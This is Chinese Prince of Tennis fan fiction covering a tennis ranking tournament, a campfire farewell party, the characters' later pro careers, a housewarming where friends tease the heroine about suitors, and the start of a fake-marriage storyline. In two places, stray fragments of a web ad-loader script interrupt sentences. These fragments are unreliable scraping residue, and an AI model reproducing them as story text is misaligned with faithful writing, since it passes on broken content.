平等院凤凰站在球场的一侧气场全开,另一侧居然站着七个人——手冢国光,幸村精市,迹部景吾,不二周助,白石藏之介,越前龙马,远山金太郎。 七海推开围网外的门,走进一号球场内,双手抱臂,一副皮笑肉不笑的模样扫视了一圈对场的那群少年。 “善意提醒一下,比赛时间限定一下午哦。如果你们都想要第一,结果大概率是不仅拿不到第一,连前十都进不去呐。” “还有,国光,越前,你们都不是日本队的来凑什么热闹啦!”七海无奈地按了按眉心,顺着她的话,手冢国光走到她面前,揉了揉她的头。 “七海,我想和你去打比赛。” 七海眼底闪过一丝尴尬,她差点忘了还有这一茬。眼珠转悠一圈,她想到了一个好主意。 “那这样吧,等日本队的第一名出炉,我允许你们第二天再打一场比赛,如何?” “好。”手冢微微勾起唇角,在她身边站定。 解决了这个人,七海又用眼神示意越前龙马表态。 “二阶堂学姐,我就是想和这个家伙打场比赛。”越前龙马拍头直指对手,语气十足的嚣张。 七海无奈。“越前,你和平等院的比赛改成明天,你也过来场边站着。” “哦,知道了。”越前龙马老老实实地站到手冢身边去,七海斜睨了一眼这两人,没憋住捂嘴偷笑,青学的两任支柱现在都成了其他国家队的人,只能说造化弄人呐。 不远处的平等院凤凰瞥见这一幕,冷笑一声,随意地掏了掏耳朵,不耐烦道:“就是二阶堂说的那样,老子劝你们识相点,别最后连正选代表队都进不去。” 余下的五人在远处不知密谋着什么,很快,对场就只剩下了幸村精市和迹部景吾两人,其余五人似乎是赶去其他赛场挑战旧Genius10了。 “呵,果然是你们两个。谁先来?”金发少年神色阴鸷,挑衅的目光在两人身上流连。 “迹部,这次就让我先来吧?”幸村精市弯起唇角,眼神却锐利如箭,射向平等院。 “可别输得太难看,幸村。本大爷先去和那个蓝毛打一场,待会再来打败你,啊恩?” 1号球场:平等院凤凰VS幸村精市,又名求胜心之战。 2号球场:种岛修二VS不二周助/白石藏之介,又名野心之战。 3号球场:Duke渡边VS仁王雅治/石田银,又名力量与自我寻觅之战。 4号球场:德川和也VS真田弦一郎/亚久津仁,又名不要命的三人之战。 5号球场:鬼十次郎VS远山金太郎,又名天衣无缝的终极对决。 6号球场:大曲龙次VS切原赤也,又名二刀流对二道魂之战。 7号球场:君岛育斗VS木手永四郎,又名木手的“复仇之战”。 8号球场:越知月光VS迹部景吾/忍足侑士,又名冰帝的新旧交替之战。 9号球场:远野笃京VS丸井文太,又名丸井的“复仇之战”。 10号球场:毛利寿三郎VS柳莲二,又名立海大内战。 新Genius10争夺赛正式拉开序幕! 182.第 182 章 新Genius10名单于今早正式出炉,只是发生了一件十分尴尬的事——在幸村精市成功击败平等院凤凰夺得第一后,他和迹部景吾的第二场比赛一直打到了夜幕降临也未能分出胜负。 最后还是七海下场,中止了这场似乎永无止境的持久赛,并表示“要是你们分不出胜负的话,你们就当并列第一,至于混双比赛我就和国光去了。” 两人一番交锋,不知幸村精市付出了什么代价,总之,最后的No.1是幸村精市,而新Genius10的领队则是迹部景吾。 由于这场持久赛赛耗费体力过大,合宿又即将结束,今天早晨,三人争夺与她组混双资格的比赛在七海的提议下被推到年末的霍普曼杯之前进行。 【“幸村,迹部,我等着与你们一战。” “手冢,我是不会再输给你的呢。” “啊恩,说什么呢,胜利是属于本大爷的!”】 那一刻,七海立于三人身前,抬头注视着他们的视线如同锐利的钢刃相互碰撞,彼此放狠话,脑海里突然浮现出貌似有些无厘头的一句话—— 三角形是最稳固的结构。 这三个人的友谊和竞争,恰如这三角形中三条边般,互相排斥却又彼此支撑着对方的存在。 没有任何一条边可以被抽离或冷落,他们在彼此的目光里汲取最大的荣耀,却又将所有的锐气和锋芒都指向对方。 如天与地、山与海般,他们之间横亘着坚不可摧的羁绊与纽带。每一次赛场相见的磨砺都会让它增厚一分,直至最终成为无人能撼动的一道桥梁。 是这种朋友也对手的微妙关系,让他们在自我超越的同时,也一同攀上了更高的山峰。 --------------------------- 是夜,依然是两年前的那片断崖边。 今晚的离别夜少了许多离别的愁绪,人人皆知,要不了多久他们会在赛场上再次相见。 无数闪烁的星辰点缀在黑暗的天幕上,或明亮如昼,或微弱如熄,形成了一片璀璨迷人的星空景象。银河横亘天际,将整个宇宙笼罩在它细腻柔和的光芒之中。 璀璨穹顶之下,是与两年前相似的篝火烤肉派对,又多了一些不同。 崖边的空地上,熊熊燃烧的篝火之前出现了一个露天舞台,舞台一角架着些许电子设备,台前放着几把立式麦克风—— “诶?!可以唱歌吗!”菊丸英二眨巴着大眼睛,惊喜地飞奔上舞台,左看看右看看。 七海点了点头。“没错,总要有点创新嘛!” 她不会说是因为两年前他们取得了U17世界杯第一,上头拨下来的款又多了许多,这才让教练组可以光明正大地购置一些与网球运动无关的设备,美其名曰“为选手创造缓释压力的良好训练环境”。 五月,初夏的夜风拂过少年们的面颊和发丝,夹杂着泥土和青草的清新气息并淡淡的花香,不再似两年前的那个初冬夜晚般寒冷,孤寂。 七海坐在篝火边,深深吸了口气,碳火烟气和草木气息钻进鼻孔,如此真实,少女的脸上不自觉浮现出一个浅笑,再无寂寥神色。 当然,其他人也没给她顾影自怜的机会,烤肉派对还没开始,她就被少年们围簇着,按着她坐到了最中心的烧烤桌边,而和她坐一桌人嘛,也十分精彩: 除了那三个人,还有亲友不二周助等几个“竞争者”。 烤肉派对进行到第十数分钟的时候,七海开始怀疑不二周助为了这天早有预谋—— “二阶堂,多吃点肉,你现在太瘦了。” 迹部景吾将烤好的肉夹到她的盘子里,不二周助在一边微笑着点评道:“七海最喜欢吃的是牛五花,不是牛排呢,迹部。” 迹部景吾僵硬了一瞬,默默地去夹牛五花开始烤。 幸村精市将烤好的肉夹到她的盘子里,不二周助再次笑眯眯地点评:“七海最喜欢的蘸料是黑胡椒和盐,不是烤肉酱汁呢,幸村。” 幸村精市浅浅一笑:“原来是这样,不二,谢谢你告知呐。”如果无视他稍稍攥紧夹子的手的话。 手冢国光总算没有出错,然而—— “手冢,你和七海认识这么多年,不出错才是理所应当的呢。不过,七海可是陪着你做了很多事,你有陪她做过什么她喜欢的事吗?”不二周助使出了他招牌的轻捏下巴加歪头轻笑。 “迹部,幸村,手冢,全员失格喵!”菊丸英二不知道什么时候取下台上的麦克风,凑到烧烤桌边,解说起了这一桌的“盛况”。 抬头望了一眼桌对面僵硬得明显或不明显的三人,七海脸上的笑容越来越大,最后实在没忍住笑出声来,笑声如春风拂过竹林,轻柔悦耳,感染着周遭的人。 “哈哈哈哈,周助,你真的很腹黑哦。” “七海,我不会把你交给不够了解你爱你的人。”他的语气异常认真。 接下来的十分钟,其他人也没被不二周助放过。 “忍足,你以后要继承家里的医院的吧。可是七海很不喜欢医院这个地方呢,医院那么多漂亮的小护士,你要怎么保证自己的忠贞呢?” “越前君,为什么是让七海陪你去流浪私奔,而不是你留在日本陪她呢?” “切原,你和七海在一起的话,两个人一起迷路了可怎么办呐?” “白石,听说你的爱人不是一只独角仙吗?如果只能在七海和独角仙之间二选一你要选谁呢?没有第一时间回答七海,就是不够爱她呢。” “丸井也不行呐,总感觉丸井女生缘太好了,七海以后会伤心的,而且七海比起甜品还是更喜欢吃菜呢。” “平等院君,你太不解风情了呢。说话也太凶,七海要是被你吓着怎么办?” “毛利君,你的个子太高了,七海抬头和你说话会很累呢。” 向日岳人旁听到现在,不满地跳起来,冲着这桌呛声道:“不二,那你说谁适合和七海在一起嘛!” 大石秀一郎也好奇。“不二,那你的想法是.......” 还没等不二回应,柳生比吕士扶了扶眼镜,一开口就是石破天惊: “我有一个合适的人选,不如让仁王君来。二阶堂想和谁在一起,他就幻影成那个人。” “噗哩,柳生,看来你似乎很希望我幻影成你去和二阶堂谈恋爱呢。” “才没有的事。”绅士故作镇定道,为扳回一局再次放出一个炸弹。 “其实,仁王君的幻影,是完全身临其境地体会对方的心情,也包括喜欢的心情。所以,幻影手冢,幸村,迹部的时候......” 柳生故意话说一半,不过嘛,在场的所有人都听出了他的言外之意。 “仁王,原来如此呐。”幸村精市浅笑着。 “啊恩?那两年前和一军的比赛的时候,仁王,你......”迹部景吾望向仁王雅治的眼神深邃了几分。 看热闹不嫌事大的越前龙马坐在自己的位置上,补充解释道:“部长,两年前的合宿,你走之后仁王前辈幻影了你两次。” “没错没错,一次还是在二阶堂学姐的生日派对上,仁王前辈代替手冢部长和学姐去吃烛光晚餐了。” “嘶,桃城,你少说两句!” “第二次,仁王幻影成手冢使用手冢魅影,手肘负伤,七海因此回想起了一些往事,心病复发了呐。这件事,仁王,手冢,你们都有责任不是吗?” 不二周助睁开了蓝眸。 这件事,时至今日他仍无法释怀。后来他得知她去德国是为了治病,继裕太的事后,他第一次产生了愤怒的情绪。 柳生不怕死的最后补充了一句:“在立海大的时候还有一次,幻影成手冢和二阶堂表白了呢。” 沉默。 沉默是今晚的康桥。 半晌,手冢国光从喷涌而出的纷杂情绪中抽身,金边眼镜下的面色冷肃至极。 “仁王,和我打一场吧。” “仁王,也和本大爷打一场,啊恩?” “虽然两年前,仁王幻影成我已经受到了惩罚,不过难得今天大家欢聚一堂,我也凑个热闹吧。”幸村精市眉眼弯起,柔声道。 仁王雅治,遭遇自己人生16年以来最大危机! 七海笑得合不拢嘴:“仁王,你也有今天!” 仁王雅治揪了揪额前的白发,无奈道:“二阶堂,看来我这个欺诈师输得彻底,噗哩。” 这时,有聪明人反应过来了一件事。 这个聪明人是入江奏多。 “如果仁王幻影成二阶堂教练,那岂不是就能弄明白她最喜欢的人是谁了吗?说不定当局者迷,旁观者清呐。” 七海当场石化。 好像,这还真是个办法。 “我可不敢幻影二阶堂。”仁王雅治,还算识趣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 一通插科打诨,解除石化状态的七海忙不迭地起身,“其实,今天我有要事要说。” 说完这句话,她便一溜烟跑到舞台前,拿起中央的话筒,清了清嗓子。 “大家,我要宣布一件大事!”七海挺直腰杆,站定在舞台最前方高声道。燃烧的火光落入她的瞳孔中显得她的目光分外炯炯有神。 “从明年起,日本职业网球协会将开始集中收揽人才,我和景吾合办的新轴心俱乐部也将正式启动。所以,如果考虑走个人的职业道路或者从事网球相关的工作,毕业后就可以给我或者种岛投简历了!” “诶?!——”少年们纷纷震惊站起,连手中的烤肉都掉回了盘子里。 “关于加入日本职网和加入NA俱乐部的区别,让乾和柳来给大家做解释说明吧。” 乾贞治和柳莲二走到舞台上,一番解说后,少年们都明白了,大约就是加入国家队和单飞的区别。二者各有利弊,国家队限制多但相对稳定,而加入俱乐部会更自由些,风险也更大。 “国三的全国大赛上,我曾说,心若有所向往,何惧道阻且长。”七海拿着话筒,笑意盈盈地望着台下的少年们。 “现在,我可以自信地说,这条道路已经为你们开辟好,大家可以自由选择是否要走上这条路。” “不过。”台上的少女俏皮道,“想成为职业选手可是需要实力的,其他网球相关工作也有各自的门槛,我们可不是什么人都收的哦。” “比如网球裁判员就需要考取证书。嘛,说不定许多年后,我们中也能出一个大满贯赛事的金牌裁判员。” 将话筒放回中间的麦克风架子上,七海神色一转严肃,俯身,嘴对准话筒,郑重道: “只要大家愿意,和这颗小球的故事,就永远不会有完结落幕的一天。” 她要把她的理想,她和他们的理想一件件实现。 一事言毕,七海在雷震般的掌声中走下舞台。 紧跟着,菊丸英二轻快地走上台,拿起话筒:“感谢二阶堂和乾还有柳的说明喵!关于网球的事到此为止,我看大家也吃得差不多了,不如,我们来唱歌吧!” “好啊好啊!” “唱什么呢?” 台下的少年们七嘴八舌地讨论着,某些个麦霸已经蠢蠢欲动准备上去抢麦,直到一道声音打碎了嘈杂的人声—— “要不,第一首就让七海来点歌吧?” 这一提议迅速得到了所有人的一致赞成。 “二阶堂,你想听什么歌喵?”菊丸英二冲着台下的七海挥手,高声问道。 “既然让我点歌,我就不客气了。”七海粲然一笑,“有一首歌,我一直想听一次现场版。” “是什么?” “我想听大家唱一次Wonderful days.” 天边,烟火冲向天际,不停炸开,消逝。 星空与火树银花的交织下,舞台上逐渐挤满了人。 她再次掏出手机,想拍下这美好至极的一幕,却有人拉住她的手,一路带着她走到了台上。 “蠢货,拍照这种事,别忘了自己。”别再像两年前那样,留下那张没有她的相片。 “不二,定时设好了吗?”菊丸向着正在不远处架设摄像机的不二周助确认道。 “好了。”不二周助一路小跑回舞台上。 “3,2,1——cheese!” 时光的镜头定格住了此刻永不褪色的青春年少。 “接下来,沉醉在本大爷的美妙声音中吧!” 眩しい午后窓を开ける 在有着耀眼阳光的午后打开窗户 わけもなく駆ける日阴の小道 没有理由的跑向阴凉小道 肩で息を吸い込んで目を闭じ 深吸口气,闭上双眼 思い描いた明日からのステージ 心中描绘着明天起的舞台 イメージしてる新しいページ 用想象描绘新的一页 真っ白いキャンパスに描く 在纯白的画布上描绘 向い风もお構い無しで切り开く 即使逆风风也没有关系 この果てなく続くBrand new story 继续这个没有结局的崭新故事 属于他们的故事,还在继续。 183.第 184 章 一年后,手冢国光在美网以17岁的年龄取得人生第一项男单大满贯,打破了最年轻大满贯选手的记录。 2007年,幸村精市、不二周助和迹部景吾三人正式转为NA俱乐部下属职业选手。 同年,平等院凤凰斩获澳网男单大满贯,由于负伤暂时选择退役,回到日本职网协会担任教练工作,而越知月光和毛利寿三郎的双打组合打入了美网四强。 2008年,不二周助取得自己的第一个澳网大满贯,幸村精市取得自己的第一个法网大满贯,迹部景吾取得自己的第一个温网大满贯,手冢国光取得自己的第二个美网大满贯。 同年,七海拿下四大满贯女单冠军。 2009年,七海和四人组混双,成功拿下四大满贯混双冠军。 冢海组合的多重领域叠加,幸海组合的双重精神压迫,迹海组合的精准打击,不二海组合的攻守兼备,均呈现出绝佳的配合度。 同年,远山金太郎转为日本职网下属职业选手,越前龙马转为美国职网下属职业选手。 美网赛后采访。 无数闪光灯长枪大炮立于记者席后方,对准了长桌后年仅19岁便取得了女单和混双全满贯的黑发亚裔少女。 七海使了个眼色给坐在桌子边侧已经成为她的经纪人的木下葵。 “各位记者朋友,现在可以开始提问了。” “七海,我们都知道你和你麾下的几位选手的关系,请问你现在心有所属了吗?” 好家伙,一上来就是个万众瞩目的劲爆提问。 “目前来说我还是对网球情有独钟啦。”七海努力遏制住吐槽的冲动,用上了自己的打太极式谈话技巧。 “七海,请问你接下来有什么打算?你似乎把打网球当成了游戏,莫非明年你打算取得女双全满贯?” “前半句话我要纠正一下我从来不把比赛当做游戏看待,每一场比赛,我都竭尽全力。” 虽然也因为竭尽全力,对手经常输得很难看,导致很多人爱她的同时也有很多人恨她,期待着她跌落神坛的那天。 “至于接下来,一方面我会更专注于教练工作。另一方面,NA也在各方的帮助下准备筹办基金会,希望让家境普通的孩子们也有机会享受网球的乐趣,也能在负伤后得到及时的专业的治疗以及心理疏导。这是我目前想做的两件事。” 她再次庆幸自己选择了转战职业赛场,一鸣惊人。许多事只有当她功成名就,成为了强者,才有资格被正视。 “七海,你和你麾下的几位选手选择的打法似乎影响了很多人,对此你有什么想说的吗?” 这些年,她实现了她梦中所见,甚至做得更好,国际网坛负伤退役的比例大幅下降。 也因为她在女网的出色表现,许多女孩子也对网球产生了兴趣,女网开始步入蓬勃发展之路。 只有一个人在这场网球风潮中比较悲催——平等院凤凰,他倒霉地成了网球学习的反面教材。这两年,他伤愈后回到千叶继续修炼精神力了,据说他正在探索阿赖耶识的新用法,计划着卷土重来。 “唔,只能说,不是我选择了这条路,而是这条路选择了我,我们。或许这才是网球本来的样子呢?” “七海,请问你对粉丝送给你的网球界的神女这个称号怎么看?” 七海挑眉,“我觉得可以去掉女字,毕竟去掉也成立不是吗?” ...... 采访有条不紊地进行着,直到结束美网采访的手冢国光并另外几人从侧门走到采访室的角落,一现身便掀起了一阵细碎的议论。 “啊啊啊啊!是Kunimitsu他们!好帅啊!” “Peter,冷静一点,他们性取向都是直的,再怎么样也不会喜欢到你头上。” “不要提这么让我伤心的事好不好。” “请大家保持安静。”木下葵微微拉高了声量,顺便向着不远处那几人递过去一个不怎么和善的眼神。 “最后一个问题吧。”七海干脆道。该问的该回答的也说得差不多了。 “七海,你认为打网球最重要的事是什么呢?”一位年轻的亚裔女记者终于得到机会,问出了她的问题。 七海沉思两秒,将话筒挪近了一点。 “我想最重要的是,学会爱自己。” “只有当一个人学会爱自己时,才能学会爱他人,爱世上的其他事物。在我的人生中,出现了许多爱我的人,他们带领我走上网球这条道路,我很幸运,也很感激。” 她抬头向一个方向望去,看到了几张欣慰的脸,她回以浅浅一笑。 ------------------ 东京涉谷。 “哇,漂亮姐姐,你的新家好大啊!”坐在大巴车上,远山金太郎扒着窗户紧盯着不远处距离越来越近的黑白色系一户建。 半年前,七海买下了涉谷区一处闹中取静的西式豪宅,距离日本职网协会和俱乐部都比较近。这半年时间,她委托仁王在的工作室根据她的思路将房子又重新装修了一下,总算能住人了。 于是,美网结束后,七海和来参加比赛或是看比赛的一众少年们乘坐迹部家的飞机回到日本,一大群人便浩浩荡荡地前往七海新家,参加暖房派对。 七海扭过头,有气无力道:“怎么样,很漂亮吧,差点把我的家底掏空呢。”她一直梦想着拥有属于自己的一栋豪宅,这几年打比赛的奖金全用来购置这栋房子了,还好她还有其他收入。 “今天晚上,就让我给你们露一手!” 她的计划华丽地泡汤了——她来生理期了。难怪从坐上大巴她就觉得肚子隐隐作痛,浑身乏力,直到进了家门,她的腹痛越发强烈,身下涌出一阵热流,她才意识到大事不妙。 “可恶,当女人真难。好不公平,为什么非得是这样的生理构造......”七海捂着肚子蜷缩在沙发一角低垂着眼睫,嘴上碎碎念个不停,身下垫着德国队的黑色外套。 生理期对女性职业选手的影响不可忽视,职业网球选手又是一整年都得飞去世界各地打比赛,尤其是她这样反应强烈的选手,需要经常服用避孕药避开比赛。导致的结果就是七海的生理期极其不稳定,疼痛也在加剧。 今年七月,温网的混双比赛一结束,她就来了生理期,七海领完奖便眼前发黑疼晕了过去,把在一旁扶着她的迹部景吾吓得半死,抱起她就往医疗室跑。 此刻,新家除了家具电器齐全外可以说是空无一物,少年们反应迅速,一通商议下很快完成了分工—— 一批人去买菜,一批人去买零食和饮品,一批人去购置暖房派对需要的装饰品和一次性用品,青学女网部的几个少女去楼上取些现在用得着的东西下来。 “七海,我去给你买止痛药和棉条。”手冢国光说完话正要出门,白石藏之介叫住了他。 “手冢,你买这个牌子的。”他将手机递到他眼前,屏幕上是某款止痛药的图片。 “啊,我知道了。” 白石藏之介在高中毕业后继承了父亲药剂师的衣钵,大学学的也是制药专业,恰好能充分利用他对植物的了解。 最近,他新研发出治疗肌肉劳损的植物药膏十分畅销,NA俱乐部也是他的重要主顾之一。 “七海,我去给你煮红豆汤。”幸村精市接过白石智子从楼上抱下来的毛毯,盖在她身上,转身向厨房走去。这些年,他们一起去世界各地打比赛,每个人都变得对她的习惯喜好了如指掌。 迹部景吾站在她面前,盯着虚弱地闭着眼靠在沙发上的七海,眉头皱在了一起。 “二阶堂,你不能再这样下去了。” “什么不能再这样。” “为了打比赛不管不顾自己的身体,还好意思对着媒体说爱自己,呵。” 忍足也附和着:“七海,迹部说得对。这样身体会搞垮的,避孕药不能滥用,医生的话你要听呐。” “我也不想的......我没有办法啊,其他女运动员也和我是一样的。”七海睁开眼,委屈地瘪了瘪嘴,随即又疼得闭眼哼唧上了。 边上几人一时间陷入沉默,他们无力反驳。事实确实如此,在这件事上,身体和比赛只能二选一,没有两全其美的解决办法。 半晌,她轻声道:“我知道你们是关心我,我本来也打算赚够了钱和名声就把重心放在教练工作上。让我再坚持两年吧。” 对于七海来说,赢得太容易反而少了许多竞技乐趣,不如培养选手有意思。只是,她现在也有了庞大的粉丝群体,随意退役会辜负了他们的期待。 “好。白石给你开的药要按时喝,啊恩?” “知道啦。” 另一边,吉川阳菜和儿玉遥在厨房烧好热水,不二周助主动提出承担灌暖水袋这项有点危险的任务,她们顺势同意了。两人走到客厅角落,观察起沙发那一角的动静。 “哼,这个世界对女人真不公平。”吉川阳菜恶狠狠地冲着空气啐了一声。她突然搞明白了为什么部长和谁在一起她都不满意,男人怎么可能真的懂女人! 儿玉遥安抚道:“那我祝你下辈子当男人。” “谁愿意当男人了!除非,除非下辈子我的老婆是部长,嘿嘿......” 身侧的伙伴作势要揍人,吉川阳菜才停下自己不切实际的幻想。 白石智子见那两人不知道在嘀咕什么,也凑了过来,顺着她们的视线看向沙发一角,恍然大悟。“你们说,部长和谁在一起比较合适啊。” 儿玉遥:“怎么也得是185以上,有钱有腹肌,温柔体贴专一的大帅哥才行吧。”她觉得这个要求已经是顶配男性了。 木下葵不知何时出现在了她们身后,冷不丁地开口: “这几个要求,那群人好像都符合。” 四人把沙发边的男人们一个个扫过去,惊异地发现——还真是。 “那怎么选......哦对了,还有那件事啊,那件事!”儿玉遥突然激动起来,对着其他三人挤眉弄眼,多年亲友秒懂。 “可是这个要试过才知道吧。” “也是......智子,你不是阅男人无数吗?你觉得谁看起来比较行?” 七海闭着眼,疼痛的间隙,心底涌起一阵阵无奈。亲爱的部员们,不要在那里大声密谋啊!她十分确信围在她边上的这群人绝对听得一清二楚,因为她也听得很清楚。 她不敢再睁眼了,就让她装死到底吧。 世间就是有这么凑巧的事——手冢买到止痛药和棉条回来了。 “七海,先吃药。”顺着这句话,她不得不睁开双眼,装聋作哑地接过手冢国光 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 递过来的水和药吞下,起身去卫生间解决生理问题,顺便将他的外套塞进洗衣机。 被搀扶着回到沙发上,七海继续闭眼装死,传入耳畔的讨论持续升温。 “啊,手冢部长也回来了。” “感觉手冢君是那种不会技巧横冲直撞类型的,虽然围度不差,但不一定会,这个不行,pass。” “那幸村君呢?” “万一做着做着,突然把部长五感灭了怎么办,有点可怕,pass。” “那迹部君呢?迹部君总行了吧。” “万一他突然来一句沉醉在本大爷的XX之下,你萎不萎?” “那......” “那就全都要了吧,先试试总不亏。”白石智子猛地一拍手,一脸“快夸我想出的好主意”的自得样。 七海觉得自己快要哭出来了。 别说了别说了,求你们别说了啊啊啊啊! 分明闭着眼,她居然也感受到了他的僵硬,他的危险笑容和他的不悦。 “七海,你能听得到,对吗?”幸村精市柔声道。 七海浑身一僵,小心翼翼地睁开眼,抱着视死如归的决心点了点头,又用力摇了摇头,可怜巴巴的模样,一句话也不敢多说。 “我们不会怪你的呐,别有心理负担。” 七海刚准备递给幸村精市一个感激的眼神,他又道:“不过,我觉得她们说得不对。我是不会对你使用灭五感的,七海,除非你执意想要。” 说完,幸村温柔地笑着,掏出块不知道哪儿来的热毛巾为她擦去额头上的冷汗。 七海的石化程度:30% “本大爷才不会做那种事。”迹部景吾黑着脸。 七海的石化程度:60% “......我会学。”手冢不自然地扶了扶眼镜。 国光,你崩人设了啊! 七海的石化程度:100% 于是,当其他少年们采购完毕回来时,看到的就是这样的一幕—— 蜷坐在沙发上的七海彻底石化,围着她的几个少年神色各异,站在不远处的女网部少女们瑟缩成一团。 “公主殿下!!你怎么变成石像了!!”切原赤也悲痛欲绝地直往七海身上扑,被幸村精市一手拦下。 七海如梦初醒般解除了石化状态,颤颤巍巍地开口:“赤也,我没事。那个,我感觉止痛药起效了,我现在不难受了,我们一起去烧菜吧。” “公主殿下,今天就看我们的吧!” “七海,你好好休息吧,让本天才露一手!” 不,赤也,丸井,带我走啊! ---------------------- 切原赤也从家中带了自己的游戏机和卡带来,晚饭后,客厅陷入了大混战。 一开始只是打游戏各有输赢,哀叹声和笑声此起彼伏,后来又围绕着七海到底该和谁在一起,几个学校的少年们叽叽呱呱吵成了一团。 “白石有黄金护腕!” “根据大满贯奖金,手冢的个人可支配金额是最高的。” “幸村的画也很值钱。”幸村精市在比赛间歇依然坚持绘画,天赋并职业选手的名人效应使得他的画拍卖价也水涨船高。 “迹部有的钱肯定更多!” ...... 今夜的暖房派对就这样在稍有几分诡异,但总体来说还算温馨欢乐的氛围中走向尾声。 七海目送着最后一拨人离去,回到家中。客厅和餐厅的一片狼藉早被他们自觉地收拾干净,还顺便带走了垃圾。 但也因此,偌大的屋子里少了许多生活气息。屋顶的水晶吊灯将室内照得格外亮堂,人声消散,四下寂静无声,显得有些冷清。 一缕说不清道不明的寂寥感油然而生。 窝进沙发里,靠背和坐垫上还残留着他人的体温,七海喃喃自语:“唉,早知道就不买这么大的房子,一个人住,本来以为会很爽的,现在反而感觉有点太空了。如果......” 难不成真是她春心萌动想男人了?不,一定是智子那个笨蛋的错,说什么全都要......简直是赤裸裸的思想入侵。 胡思乱想着,她居然就这么在沙发上睡着了。 七海是被清晨的敲门声吵醒的。 推开门,那三个人居然都在门口,七海侧过身让他们进屋,刚关上门,就被迎头而来的三连问惊得呆若木鸡。 “七海,你是不是做了一个你去德国找我的梦,才知道人偶的事?”手冢的语气罕见地带上一丝急切。 “七海,果然你也做了和我在一起的梦,才知道的签文内容吧?”幸村笑意盈盈。 迹部景吾一脸似笑非笑:“二阶堂,该和你结婚的人是本大爷才对,你应该很清楚,啊恩?” 七海瞬间头皮发麻,他们该不会做了属于自己的那个梦吧?! “让我先说一句话。”她咽了口口水,“重婚犯法!” “我们知道,所以才需要你选一个人呢。七海,那天舞会,你说很抱歉最后才选择我,我想你该你补偿我呐。” “七海,我会尽快取得全满贯。” “小七,嗯?” 救了个命,修罗场什么时候才能结束啊! 无CP线——The end ^^ 184.第 185 章 “家族联姻?!”七海的瞳孔瞪得浑圆,虽然她知道忍足家条件不错,但是这个词从眼前的人口中说出来还是让她有种身处狗血言情剧的错觉。 忍足侑士扶了扶眼镜,无奈道:“是呀。父母说如果我没有自己想结婚的对象,就要接受家族联姻了,否则要把我赶出家门。” “那你有见过你的联姻对象吗?” 七海脑中立刻浮现一些大家族的大小姐应有的形象,多半是温文尔雅知书达礼,花道茶道样样精通那样吧。 “嗯。”忍足侑士点点头,接下来说出的话令七海愈发惊诧。 “其实,那位小姐有自己喜欢的人,但是她的父母不同意他们在一起,所以她现在也在为联姻的事头疼呐。” “那你们两个要是真的被迫结婚,也太惨了吧......”他被迫娶一个心有所属的人,她被迫和爱的人分开。 “没有什么破局之法吗?” “比如说......”七海窝在沙发里认真地思考起来,对侧的忍足侑士翘着二郎腿靠着沙发靠背,姿势十分放松闲适,镜片下凝视着她的目光却颇有些意味深长。 今天本是一个普通的商业洽谈日,忍足侑士来她的俱乐部办公室找她聊理疗士的外聘事宜,却没想到正事聊完,她便从他口中收到了这样的重磅消息。 墙上的日历最上方写着平成25年,距离国三那一年发生的种种往事已过去十年,坐在茶几两侧的七海和忍足侑士都步入了24岁的年纪。 最近几年,他们周围的伙伴一个接一个地结婚生子,倒是这两个人被剩下了,七海的理由是忙于工作,忍足侑士亦如是。 这倒没什么好怀疑的。 这十年是国际职业网坛最辉煌璀璨的十年,这样的局势,她功不可没,或者说居功甚大也不为过。网球运动蓬勃发展,忍足家名下的医院与NA俱乐部打配合,培养出了一批又一批针对网球运动常见损伤的理疗士和治疗师,与ITF亦有合作。 这样的背景下,忍足家的长辈自然都见过她的面,知道她这号人的存在。 七海不知道,忍足侑士却是知道的。家中长辈曾随意地提起过,“七海那个孩子挺不错的,侑士啊,如果你能和她在一起,我们也不用操心了。” 十年能够冲淡许多东西,譬如一些未曾言明便自行消散的感情,她早已忘得七七八八。但换一个角度来看,也能将表面沉淀的尘土吹散,暴露出潜藏在心底的一些无法言说的东西,或许是年少时的冲动,或许是长久的遗憾。 七海仍在认真地替自己的挚友思索着,嘴上叨叨个不停: “侑士,以前读书的时候喜欢你的那些女生你还能联系得上吗,哈哈,说不定她们之中会有人愿意和你结婚。啊,也不用,你们医院那么多小护士喜欢你呢,我觉得你要找个其他人来结婚还是容易的......” 忍足侑士,这几年被冠上了日本医疗界的钻石单身汉名号,不仅未婚,这些年甚至连女朋友都没找过。也是因此,坊间也有传言是他在某方面不行。 语毕,她抬头,莹亮的紫瞳一眨一眨着。“侑士,你觉得我刚才那些提议怎么样,这样那位小姐至少暂时不用被迫和自己喜欢的人分开了。” 他没有正面回应。 “七海,听说你最近也被催婚催得很紧?” 慵懒低哑的关西腔传到她的耳中,带上了一层漫不经心的滤镜,七海一时间并未多想。 “是种岛告诉你的吧,侑士,你快别提了。”七海猛地一拍脑门,向后一瘫,躺在沙发上望着天花板愁眉苦脸地哀叹起来。 “爸爸妈妈的同事的孩子最近不知道怎么的全部都结婚了。哥哥流连花丛间,他们早就不指望了,结果就把希望都寄托在了我身上,最近出差的时候也天天在SNS上念叨我呢。” 还好她现在有自己的房子,至少不必回家面对催婚。 忍足轻轻勾起唇角。“之前你说的情况,我在想如果一个女孩子喜欢我,我却在不喜欢她的情况下和她结婚,似乎也不太好。爱情电影里,这样的婚姻都会变成怨侣。” 他的这一番话再次让她陷入了沉思,侑士说的也没错,这样仍然对双方都不是很公平。 “那怎么办哦。” “七海,你要不要考虑和我结婚?” 七海维持着仰倒的姿势,眨了眨眼。 十数秒后。 “啊?!”她一个鲤鱼打挺从沙发上直起身,脸上的表情由于过分惊讶显得有些呆滞。 “七海,你不讨厌我吧。” “当然不讨厌。” “我长得不丑吧。” “侑士,你帅得天妒人怨。”她给出了肯定的评价。 “既然这样,你又没有喜欢的人,不如我们假结婚,先过了这一阵,你觉得呢?之后我们可以再离婚。” 七海彻底傻眼。怎么办,他说的这个主意好像还真有几分可行性......假结婚,这么狗血的情节,也算是让她给碰上了。 “如果你怕财产问题,我们可以先签好协议。” 她忙摆手,“不是因为这个啦。” “那你还有什么顾虑的吗?我也是关西名门之后,炙手可热的优质股呐。”忍足侑士摊手,嘴角微微上扬,关西腔中不知为何透出一丝狡黠。 “呃,没......” ———————— 三个月后。 “什么呀,真是群讨人厌的家伙呐。” “侑士,你没事吧?”七海满心满眼的担忧,一边搀扶着喝得醉醺醺的忍足侑士,一边将家门关上,于一片昏暗中将他送到了他的卧室。 